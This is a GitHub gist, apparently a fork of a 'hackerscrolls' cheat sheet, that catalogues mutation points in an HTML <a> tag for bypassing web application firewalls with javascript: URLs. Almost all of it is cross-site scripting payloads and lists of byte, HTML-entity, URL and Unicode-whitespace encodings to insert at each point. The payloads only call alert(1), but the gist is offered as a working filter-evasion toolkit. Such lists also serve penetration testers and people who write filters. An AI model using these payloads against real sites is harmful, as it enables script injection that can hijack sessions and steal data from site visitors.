Skip to content

Instantly share code, notes, and snippets.

@cangeorgecode
Forked from hackerscrolls/mutation_a.txt
Created June 30, 2020 07:36
Show Gist options
  • Select an option

  • Save cangeorgecode/6edc1763e4751381756a0e9c538fa4cc to your computer and use it in GitHub Desktop.

Select an option

Save cangeorgecode/6edc1763e4751381756a0e9c538fa4cc to your computer and use it in GitHub Desktop.
Mutation points in <a> tag for WAF bypass
<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">
[1]
Bytes:
\x09 \x0a \x0c \x0d \x20 \x2f
<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">
[2,3]
Bytes:
\x09 \x0a \x0c \x0d \x20
<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">
[4]
Bytes:
\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20
HTML Encoding:
&#x01; &#x02; &#x03; &#x04; &#x05; &#x06; &#x07; &#x08; &#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x0e; &#x0f; &#x10; &#x11; &#x12; &#x13; &#x14; &#x15; &#x16; &#x17; &#x18; &#x19; &#x1a; &#x1b; &#x1c; &#x1d; &#x1e; &#x1f; &#x20;
<a href="&Tab;javascript:alert(1)">
<a href="&#x001;javascript:alert(1)">
[5]
Bytes:
\x09 \x0a \x0d
HTML Encoding:
&#x09; &#x0a; &#x0d;
<a href="javas\x09cript:alert(1)">
<a href="javas&Tab;cript:alert(1)">
[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0
URL Encode (bytes):
%09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0
HTML Encode (bytes):
&#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x20; &#x21; &#x2b; &#x2d; &#x3b; &#x7e; &#xa0;
UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff
URL Encode (UTF-8):
%e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf
HTML Encode (UTF-8):
&#x1680; &#x2000; &#x2001; &#x2002; &#x2003; &#x2004; &#x2005; &#x2006; &#x2007; &#x2008; &#x2009; &#x200a; &#x2028; &#x2029; &#x202f; &#x205f; &#x3000; &#xfeff
<a href="javascript:~alert(1)">
<a href="javascript://%0d%0aalert(1)">
<a href="javascript:\x0calert(1)">
<a href="javascript:%ef%bb%bfalert(1)">
<a href="javascript:&#xfeff;alert(1)">
-----------------------------------------
We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE
\u0000 - UTF-8 char code
\u1680 - OGHAM SPACE MARK
\u2028 - LINE SEPARATOR
Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment